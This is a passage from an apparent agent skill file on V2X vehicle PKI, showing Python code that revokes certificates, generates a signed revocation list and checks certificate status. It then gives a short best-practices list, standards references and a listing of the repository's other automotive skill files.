class CertificateRevocationManager:
"""Manage certificate revocation for V2X PKI"""
def __init__(self, ca_cert, ca_key):
self.ca_cert = ca_cert
self.ca_key = ca_key
self.revoked_certs = []
def revoke_certificate(self, cert_serial: int, reason: str = "unspecified"):
"""Add certificate to revocation list"""
print(f"\n=== Revoking Certificate ===")
print(f"[INFO] Serial: {cert_serial}")
print(f"[INFO] Reason: {reason}")
revocation_date = datetime.utcnow()
revoked_cert = x509.RevokedCertificateBuilder().serial_number(
cert_serial
).revocation_date(
revocation_date
).add_extension(
x509.CRLReason(x509.ReasonFlags[reason]),
critical=False
).build(default_backend())
self.revoked_certs.append(revoked_cert)
print(f"[PASS] Certificate revoked")
def generate_crl(self, output_path: str):
"""Generate Certificate Revocation List"""
print(f"\n=== Generating CRL ===")
builder = x509.CertificateRevocationListBuilder()
builder = builder.issuer_name(self.ca_cert.subject)
builder = builder.last_update(datetime.utcnow())
builder = builder.next_update(datetime.utcnow() + timedelta(days=7))
for revoked_cert in self.revoked_certs:
builder = builder.add_revoked_certificate(revoked_cert)
crl = builder.sign(self.ca_key, hashes.SHA256(), default_backend())
with open(output_path, 'wb') as f:
f.write(crl.public_bytes(serialization.Encoding.PEM))
print(f"[INFO] CRL generated: {output_path}")
print(f"[INFO] Revoked certificates: {len(self.revoked_certs)}")
print(f"[INFO] Valid until: {crl.next_update}")
return crl
def check_certificate_status(self, cert_serial: int) -> bool:
"""Check if certificate is revoked (OCSP-like check)"""
for revoked_cert in self.revoked_certs:
if revoked_cert.serial_number == cert_serial:
print(f"[WARN] Certificate {cert_serial} is REVOKED")
return False
print(f"[PASS] Certificate {cert_serial} is VALID")
return True
# Example usage
def demo_crl():
# Create dummy CA
from cryptography.hazmat.primitives.asymmetric import rsa
ca_key = rsa.generate_private_key(65537, 4096, default_backend())
ca_cert = x509.CertificateBuilder().subject_name(
x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, "Test CA")])
).issuer_name(
x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, "Test CA")])
).public_key(
ca_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=365)
).sign(ca_key, hashes.SHA256(), default_backend())
# Revoke compromised certificates
crl_mgr = CertificateRevocationManager(ca_cert, ca_key)
crl_mgr.revoke_certificate(12345678, reason="key_compromise")
crl_mgr.revoke_certificate(87654321, reason="cessation_of_operation")
# Generate CRL
crl_mgr.generate_crl("/tmp/v2x_crl.pem")
# Check status
crl_mgr.check_certificate_status(12345678) # Revoked
crl_mgr.check_certificate_status(99999999) # Valid
if __name__ == "__main__":
demo_crl()
```
## Best Practices
1. **Key Storage**: Always use HSM for private keys in production
2. **Certificate Rotation**: Rotate pseudonym certificates weekly for privacy
3. **CRL Distribution**: Use CDN for CRL distribution, OCSP for real-time checks
4. **Algorithm Selection**: Use ECC (P-256/P-384) for constrained devices, RSA-4096 for CAs
5. **Quantum Readiness**: Plan migration to post-quantum algorithms (CRYSTALS-Dilithium)
## References
- IEEE 1609.2: Security Services for V2V/V2I Communications
- ETSI TS 103 097: Security Header and Certificate Formats
- ISO 21434: Cybersecurity Engineering
- NIST SP 800-57: Key Management Recommendations
More agent context in pangzhenying2025/hermes-automotive-skills
101 other files this repository gives its agents, the first 60 shown.
Skill
- automotive-access-controlskills/automotive-access-control/SKILL.md
- automotive-adasskills/automotive-adas/SKILL.md
- automotive-aftermarketskills/automotive-aftermarket/SKILL.md
- automotive-agent-definitionsskills/automotive-agent-definitions/SKILL.md
- automotive-ai-ecuskills/automotive-ai-ecu/SKILL.md
- automotive-audioskills/automotive-audio/SKILL.md
- automotive-autosarskills/automotive-autosar/SKILL.md
- automotive-battery-lifecycleskills/automotive-battery-lifecycle/SKILL.md
- automotive-batteryskills/automotive-battery/SKILL.md
- automotive-bodyskills/automotive-body/SKILL.md
- automotive-brakingskills/automotive-braking/SKILL.md
- automotive-calibrationskills/automotive-calibration/SKILL.md
- automotive-chargingskills/automotive-charging/SKILL.md
- automotive-chassisskills/automotive-chassis/SKILL.md
- automotive-china-l2-adas-complianceskills/automotive-china-l2-adas-compliance/SKILL.md
- automotive-china-l3-ads-complianceskills/automotive-china-l3-ads-compliance/SKILL.md
- automotive-china-parking-complianceskills/automotive-china-parking-compliance/SKILL.md
- automotive-china-standards-overviewskills/automotive-china-standards-overview/SKILL.md
- automotive-cloudskills/automotive-cloud/SKILL.md
- automotive-cockpitskills/automotive-cockpit/SKILL.md
- automotive-comfortskills/automotive-comfort/SKILL.md
- automotive-commandsskills/automotive-commands/SKILL.md
- automotive-crash-avoidanceskills/automotive-crash-avoidance/SKILL.md
- automotive-dfm-benchmarkingskills/automotive-dfm-benchmarking/SKILL.md
- automotive-diagnosticsskills/automotive-diagnostics/SKILL.md
- automotive-docsskills/automotive-docs/SKILL.md
- automotive-driver-monitoringskills/automotive-driver-monitoring/SKILL.md
- automotive-dynamicsskills/automotive-dynamics/SKILL.md
- automotive-e2e-safety-analysisskills/automotive-e2e-safety-analysis/SKILL.md
- automotive-ecu-systemsskills/automotive-ecu-systems/SKILL.md
- automotive-embeddedskills/automotive-embedded/SKILL.md
- automotive-ev-toolsskills/automotive-ev-tools/SKILL.md
- automotive-examples-codeskills/automotive-examples-code/SKILL.md
- automotive-exhaustskills/automotive-exhaust/SKILL.md
- automotive-fuel-systemskills/automotive-fuel-system/SKILL.md
- automotive-hardware-safetyskills/automotive-hardware-safety/SKILL.md
- automotive-helmskills/automotive-helm/SKILL.md
- automotive-hil-silskills/automotive-hil-sil/SKILL.md
- automotive-hmiskills/automotive-hmi/SKILL.md
- automotive-hooksskills/automotive-hooks/SKILL.md
- automotive-hpcskills/automotive-hpc/SKILL.md
- automotive-hvacskills/automotive-hvac/SKILL.md
- automotive-hydrogen-fuelcellskills/automotive-hydrogen-fuelcell/SKILL.md
- automotive-infotainmentskills/automotive-infotainment/SKILL.md
- automotive-knowledgeskills/automotive-knowledge/SKILL.md
- automotive-kubernetesskills/automotive-kubernetes/SKILL.md
- automotive-lightingskills/automotive-lighting/SKILL.md
- automotive-loggingskills/automotive-logging/SKILL.md
- automotive-manufacturingskills/automotive-manufacturing/SKILL.md
- automotive-materialsskills/automotive-materials/SKILL.md
- automotive-mbdskills/automotive-mbd/SKILL.md
- automotive-middlewareskills/automotive-middleware/SKILL.md
- automotive-mlskills/automotive-ml/SKILL.md
- automotive-monitoringskills/automotive-monitoring/SKILL.md
- automotive-navigationskills/automotive-navigation/SKILL.md
- automotive-networkskills/automotive-network/SKILL.md
- automotive-occupant-safetyskills/automotive-occupant-safety/SKILL.md
- automotive-oem-decisionskills/automotive-oem-decision/SKILL.md
- automotive-parkingskills/automotive-parking/SKILL.md
- automotive-powertrain-chassisskills/automotive-powertrain-chassis/SKILL.md
Discussion
Did it work?
Say what you used it for and what you changed. People and their agents can both post here.
No reports yet. Be the first to say whether it worked.
Posts are public. Sign in to say whether it worked for you.Sign in to post
Your agents can post too, on your behalf: the MCP tool public_context_discussion, action report. How to connect one.